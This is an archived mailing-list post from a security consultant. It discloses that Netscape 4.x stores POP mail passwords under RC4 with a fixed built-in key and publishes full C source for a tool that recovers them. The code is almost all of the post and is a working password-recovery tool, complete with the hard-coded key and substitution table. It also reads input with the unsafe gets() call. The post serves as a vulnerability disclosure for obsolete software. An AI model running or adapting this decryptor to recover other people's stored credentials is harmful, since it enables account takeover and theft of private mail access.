Hi, Just in case you find a Netscape 4.x "encrypted" password, and you cannot sniff it on the wire or use a local proxy, have a look at the code below. I know some people have already noticed that the password is XOR-ed with a constant byte stream, but as far as I know nobody documented that this stream was RC4-generated. PS. I am not sure this is DMCA-compliant :-) Regards, ----------------------------------- Nicolas RUFF Security Consultant / EdelWeb ----------------------------------- // // NetsCrack.cpp : Netscape 4.x POP Passwords Cracker // Tested against Netscape 4.5 // C0ded by Nicolas RUFF / EdelWeb // You may freely distribute this source code unmodified // #include <stdio.h> #include <stdlib.h> #include <windows.h> /* ---------------------------------------------------------------- */ // The "original" RC4 algorithm source code /* rc4.h */ typedef struct rc4_key { unsigned char state[256]; unsigned char x; unsigned char y; } rc4_key; void prepare_key(unsigned char *key_data_ptr,int key_data_len, rc4_key *key); void rc4(unsigned char *buffer_ptr,int buffer_len,rc4_key * key); static void swap_byte(unsigned char *a, unsigned char *b); /* r4.c */ void prepare_key(unsigned char *key_data_ptr, int key_data_len, rc4_key *key) { unsigned char swapByte; unsigned char index1; unsigned char index2; unsigned char* state; short counter; state = &key->state[0]; for (counter = 0; counter < 256; counter++) state[counter] = counter; key->x = 0; key->y = 0; index1 = 0; index2 = 0; for(counter = 0; counter < 256; counter++) { index2 = (key_data_ptr[index1] + state[counter] + index2) % 256; swap_byte(&state[counter], &state[index2]); index1 = (index1 + 1) % key_data_len; } } void rc4(unsigned char *buffer_ptr, int buffer_len, rc4_key *key) { unsigned char x; unsigned char y; unsigned char* state; unsigned char xorIndex; short counter; x = key->x; y = key->y; state = &key->state[0]; for(counter = 0; counter < buffer_len; counter ++) { x = (x + 1) % 256; y = (state[x] + y) % 256; swap_byte(&state[x], &state[y]); xorIndex = (state[x] + state[y]) % 256; buffer_ptr[counter] ^= state[xorIndex]; } key->x = x; key->y = y; } static void swap_byte(unsigned char *a, unsigned char *b) { unsigned char swapByte; swapByte = *a; *a = *b; *b = swapByte; } /* ----------------------------------------------------------------- */ // Quick and dirty base64 decoding unsigned char transcode( unsigned char c ) { if ((c >= 'A') && (c <= 'Z')) return (c - 'A'); if ((c >= 'a') && (c <= 'z')) return (c - 'a' + 26); if ((c >= '0') && (c <= '9')) return (c - '0' + 52); if (c == '+') return 62; if (c == '/') return 63; if (c == '=') return 0; printf("transcode error\n"); return 0; } void decode64( unsigned char a, unsigned char b, unsigned char c, unsigned char d, unsigned char *dst ) { unsigned char x, y, z; // Transcode { A-Z a-z 0-9 + / } -> ... // 'A'=65 'a'=97 '0'=48 '+'=43 '/'=47 x = transcode(a); y = transcode(b); z = transcode(c); x = ( (transcode(a)) << 2 ) + ( ((transcode(b)) & 0x30) >> 4); // pattern = 00110000 y = ( ((transcode(b)) & 0x0F) << 4 ) + ( ((transcode(c)) & 0x3C) >> 2); // pattern = 00001111, 00111100 z = ( ((transcode(c)) & 0x03) << 6 ) + ( (transcode(d)) ); dst[0] = x; dst[1] = y; dst[2] = z; } /* ---------------------------------------------------------------- */ // Main() int main(int argc, char* argv[]) { char szPwd[256]; unsigned char szClear[256]; int i,j; // Netscape "Magic" Key unsigned char key_data[] = { 0xD0, 0x86, 0x9C, 0xDE, 0xC6, 0xEE, 0xEB, 0x3E }; rc4_key key; // [0x00 ... 0x3F] and [0x80 ... 0xFF] : no substitution // [0x40 ... 0x7F] use substitution table below // Surprisingly T*T = Id :-) unsigned char table[] = { 0x40, 0x4E, 0x4F, 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5A, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F, 0x60, 0x6E, 0x6F, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7A, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x7B, 0x7C, 0x7D, 0x7E, 0x7F }; printf("Enter registry encrypted password :"); gets(szPwd); if (strlen(szPwd) > 0) { /* --------------- REGISTRY ENCRYPTION --------------- */ strrev(szPwd); for (i=0; i<strlen(szPwd); i++) { if ((szPwd[i] >= 0x40) && (szPwd[i] < 0x80)) szPwd[i] = table[szPwd[i] - 0x40]; } printf("File password : %s\n", szPwd); } else { printf("Enter file encrypted password :"); gets(szPwd); } /* --------------- FILE ENCRYPTION --------------- */ /* ATOB_AsciiToData() */ j=0; for (i=0; i<strlen(szPwd); i+=4) { decode64(szPwd[i], szPwd[i+1], szPwd[i+2], szPwd[i+3], &(szClear[j])); j += 3; } szClear[j] = '\0'; /* RC4_Decrypt */ prepare_key( key_data, 8, &key); rc4( szClear, strlen((char *)szClear), &key ); printf("Clear text password : %s\n", szClear); return 0; }
This archive was generated by hypermail 2b30 : Fri Feb 28 2003 - 15:12:33 PST